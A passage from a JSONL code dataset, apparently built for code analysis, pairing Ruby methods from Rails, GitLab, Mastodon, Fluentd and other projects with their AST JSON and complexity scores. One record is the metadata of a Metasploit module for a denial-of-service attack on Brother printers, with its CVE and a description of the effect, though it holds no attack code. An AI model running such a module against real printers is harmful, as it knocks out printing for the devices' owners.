{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/visit_draft.rb","start_line":12,"raw_source":"def add_point(point)\n    @points << point\n    @end_time = point.timestamp if point.timestamp > @end_time\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_point\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@points\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"point\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"timestamp\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@end_time\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@end_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"timestamp\"]}]},null]}]}]}","id":"2998d373-c9e3-4067-a2de-e6b7a62f158e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":479,"raw_source":"def test_setting_the_same_value_to_cookie\n    request.cookies[:user_name] = \"david\"\n    get :authenticate\n    assert_empty response.cookies\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_setting_the_same_value_to_cookie\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"cookies\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_name\"]},{\"type\":\"str\",\"children\":[\"david\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"authenticate\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"cookies\"]}]}]}]}","id":"b3b0bac4-44ad-4d2f-ad0a-be301a8460ec"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/status_serializer.rb","start_line":39,"raw_source":"def quote\n    object.quote if object.quote&.acceptable?\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"quote\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"quote\"]},\"acceptable?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"quote\"]},null]}]}","id":"bd53b3a0-dc6b-4987-9022-f2da83208034"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/namespaced_generators_test.rb","start_line":31,"raw_source":"def test_namespaced_controller_skeleton_is_created\n    run_generator\n    assert_file \"app/controllers/test_app/account_controller.rb\",\n                /module TestApp/,\n                /  class AccountController < ApplicationController/\n\n    assert_file \"test/controllers/test_app/account_controller_test.rb\",\n                /module TestApp/,\n                /  class AccountControllerTest/\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_namespaced_controller_skeleton_is_created\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/test_app/account_controller.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"  class AccountController < ApplicationController\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/controllers/test_app/account_controller_test.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module TestApp\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"  class AccountControllerTest\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"5974df74-f798-4429-a7ac-b923784a7be1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator/trend.rb","start_line":143,"raw_source":"def calc_value_at_target(limit, trend_data_key, trend_data)\n    unknown = _(\"Trending Down\")\n    if limit.nil? || trend_data[trend_data_key].nil? || trend_data[trend_data_key][:slope].nil? || trend_data[trend_data_key][:yint].nil? || trend_data[trend_data_key][:slope] <= 0 # can't project with a negative slope value\n      unknown\n    else\n      begin\n        result = Math.slope_x_intercept(limit, trend_data[trend_data_key][:slope], trend_data[trend_data_key][:yint])\n        if result <= 1.year.from_now.to_i\n          if Time.at(result).utc <= Time.now.utc\n            Time.at(result).utc.strftime(\"%m/%d/%Y\")\n          else\n            options = {:days => ((Time.at(result).utc - Time.now.utc) / 1.day).round, :date => Time.at(result).utc.strftime(\"%m/%d/%Y\"), :timezone => get_time_zone(\"UTC\")}\n            _(\"%{days} days, on %{date} (%{timezone})\") % options\n          end\n        else\n          _(\"after 1 year\")\n        end\n      rescue RangeError\n        unknown\n      rescue => err\n        _log.warn(\"#{err.message}, calculating trend limit for column: [#{trend_data_key}]\")\n        unknown\n      end\n    end\n  end","complexity_score":94.18,"ast_json":"{\"type\":\"def\",\"children\":[\"calc_value_at_target\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"limit\"]},{\"type\":\"arg\",\"children\":[\"trend_data_key\"]},{\"type\":\"arg\",\"children\":[\"trend_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unknown\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Trending Down\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trend_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"trend_data_key\"]}]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trend_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"trend_data_key\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"slope\"]}]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trend_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"trend_data_key\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"yint\"]}]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trend_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"trend_data_key\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"slope\"]}]},\"<=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvar\",\"children\":[\"unknown\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Math\"]},\"slope_x_intercept\",{\"type\":\"lvar\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trend_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"trend_data_key\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"slope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trend_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"trend_data_key\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"yint\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"year\"]},\"from_now\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"utc\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"utc\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%m/%d/%Y\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"utc\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]}]},\"round\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"utc\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%m/%d/%Y\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timezone\"]},{\"type\":\"send\",\"children\":[null,\"get_time_zone\",{\"type\":\"str\",\"children\":[\"UTC\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{days} days, on %{date} (%{timezone})\"]}]},\"%\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"after 1 year\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RangeError\"]}]},null,{\"type\":\"lvar\",\"children\":[\"unknown\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\", calculating trend limit for column: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trend_data_key\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"lvar\",\"children\":[\"unknown\"]}]}]},null]}]}]}]}]}","id":"16749615-dc68-47bc-a5b6-5481c26322a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/external_issue_reference_filter.rb","start_line":114,"raw_source":"def url_for_issue(issue_id)\n            url = if context[:only_path]\n                    project.external_issue_tracker.issue_path(issue_id)\n                  else\n                    project.external_issue_tracker.issue_url(issue_id)\n                  end\n\n            # Ensure we return a valid URL to prevent possible XSS.\n            URI.parse(url).to_s\n          rescue URI::InvalidURIError\n            ''\n          end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"url_for_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"external_issue_tracker\"]},\"issue_path\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"external_issue_tracker\"]},\"issue_url\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"to_s\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"InvalidURIError\"]}]},null,{\"type\":\"str\",\"children\":[\"\"]}]},null]}]}","id":"7320aff0-0b31-4abf-bbf3-b32e0d73b8ff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/brother_debut_dos.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Brother Debut http Denial Of Service',\n        'Description' => %q{\n          The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial\n          of Service (DoS) condition via a crafted HTTP request.  The printer will be\n          unresponsive from HTTP and printing requests for ~300 seconds.  After which, the\n          printer will start responding again.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'z00n <0xz00n@gmail.com>', # vulnerability disclosure\n          'h00die' # metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2017-16249' ],\n          [ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730']\n        ],\n        'DisclosureDate' => '2017-11-02',\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Brother Debut http Denial Of Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial\\n\"]},{\"type\":\"str\",\"children\":[\"          of Service (DoS) condition via a crafted HTTP request.  The printer will be\\n\"]},{\"type\":\"str\",\"children\":[\"          unresponsive from HTTP and printing requests for ~300 seconds.  After which, the\\n\"]},{\"type\":\"str\",\"children\":[\"          printer will start responding again.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"z00n <0xz00n@gmail.com>\"]},{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-16249\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-11-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"ef91236e-e6e2-4e87-900d-e04494bbd4c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250414195105_remove_virtual_registries_packages_maven_upstreams_credentials_columns.rb","start_line":17,"raw_source":"def down\n    add_columns(\n      TABLE_NAME,\n      *COLUMNS,\n      type: :binary\n    )\n\n    add_concurrent_index TABLE_NAME,\n      :encrypted_username_iv,\n      unique: true,\n      name: 'index_virtual_reg_pkgs_maven_upstreams_on_uniq_enc_username_iv'\n    add_concurrent_index TABLE_NAME,\n      :encrypted_password_iv,\n      unique: true,\n      name: 'index_virtual_reg_pkgs_maven_upstreams_on_uniq_enc_password_iv'\n\n    COLUMNS.each do |col|\n      constraint = check_constraint_name(TABLE_NAME, col, 'max_length')\n      add_check_constraint(TABLE_NAME, \"octet_length(#{col}) <= 1020\", constraint)\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_columns\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COLUMNS\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"binary\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"encrypted_username_iv\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_virtual_reg_pkgs_maven_upstreams_on_uniq_enc_username_iv\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"encrypted_password_iv\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_virtual_reg_pkgs_maven_upstreams_on_uniq_enc_password_iv\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COLUMNS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"constraint\",{\"type\":\"send\",\"children\":[null,\"check_constraint_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"lvar\",\"children\":[\"col\"]},{\"type\":\"str\",\"children\":[\"max_length\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"octet_length(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]}]},{\"type\":\"str\",\"children\":[\") <= 1020\"]}]},{\"type\":\"lvar\",\"children\":[\"constraint\"]}]}]}]}]}]}","id":"604172b5-04f1-4271-b216-c22fa37cb805"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_forward.rb","start_line":708,"raw_source":"def send_heartbeat\n        begin\n          dest_addr = resolved_host\n          @resolved_once = true\n        rescue ::SocketError => e\n          if !@resolved_once && @sender.ignore_network_errors_at_startup\n            @log.warn \"failed to resolve node name in heartbeating\", server: @name || @host, error: e\n            return false\n          end\n          raise\n        end\n\n        case @sender.heartbeat_type\n        when :transport\n          connect(dest_addr) do |sock, ri|\n            ensure_established_connection(sock, ri)\n\n            ## don't send any data to not cause a compatibility problem\n            # sock.write FORWARD_TCP_HEARTBEAT_DATA\n\n            # successful tcp connection establishment is considered as valid heartbeat.\n            # When heartbeat is succeeded after detached, return true. It rebuilds weight array.\n            heartbeat(true)\n          end\n        when :udp\n          @usock.send \"\\0\", 0, Socket.pack_sockaddr_in(@port, dest_addr)\n          # response is going to receive at on_udp_heartbeat_response_recv\n          false\n        when :none # :none doesn't use this class\n          raise \"BUG: heartbeat_type none must not use Node\"\n        else\n          raise \"BUG: unknown heartbeat_type '#{@sender.heartbeat_type}'\"\n        end\n      end","complexity_score":33.3,"ast_json":"{\"type\":\"def\",\"children\":[\"send_heartbeat\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dest_addr\",{\"type\":\"send\",\"children\":[null,\"resolved_host\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@resolved_once\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SocketError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resolved_once\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sender\"]},\"ignore_network_errors_at_startup\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"failed to resolve node name in heartbeating\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server\"]},{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]},{\"type\":\"ivar\",\"children\":[\"@host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sender\"]},\"heartbeat_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"transport\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"lvar\",\"children\":[\"dest_addr\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"ri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_established_connection\",{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"ri\"]}]},{\"type\":\"send\",\"children\":[null,\"heartbeat\",{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"udp\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@usock\"]},\"send\",{\"type\":\"str\",\"children\":[\"\\u0000\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Socket\"]},\"pack_sockaddr_in\",{\"type\":\"ivar\",\"children\":[\"@port\"]},{\"type\":\"lvar\",\"children\":[\"dest_addr\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"none\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"BUG: heartbeat_type none must not use Node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BUG: unknown heartbeat_type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sender\"]},\"heartbeat_type\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}","id":"cda6b897-99dd-453a-96ee-99d0c3fe5797"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/repository_update_remote_mirror_worker.rb","start_line":59,"raw_source":"def schedule_retry(mirror, tries)\n    retry_time = Time.current + 1.second\n\n    self.class.perform_in(mirror.backoff_delay, mirror.id, retry_time, tries + 1)\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_retry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mirror\"]},{\"type\":\"arg\",\"children\":[\"tries\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retry_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"second\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"perform_in\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mirror\"]},\"backoff_delay\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mirror\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"retry_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"1c198753-3c35-44c2-adc9-eea7a73a9a0b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/instrumentation_test.rb","start_line":119,"raw_source":"def test_payload_row_count_on_cache\n      Book.create!(name: \"row count book\")\n\n      notifications = capture_notifications(\"sql.active_record\") do\n        Book.cache do\n          Book.first\n          Book.first\n        end\n      end\n\n      payloads = notifications.select { _1.payload[:sql].match?(\"SELECT\") }.map(&:payload)\n\n      assert_equal 2, payloads.size\n      assert_not payloads[0][:cached]\n      assert payloads[1][:cached]\n      assert_equal 1, payloads[0][:row_count]\n      assert_equal 1, payloads[1][:row_count]\n    end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_payload_row_count_on_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"row count 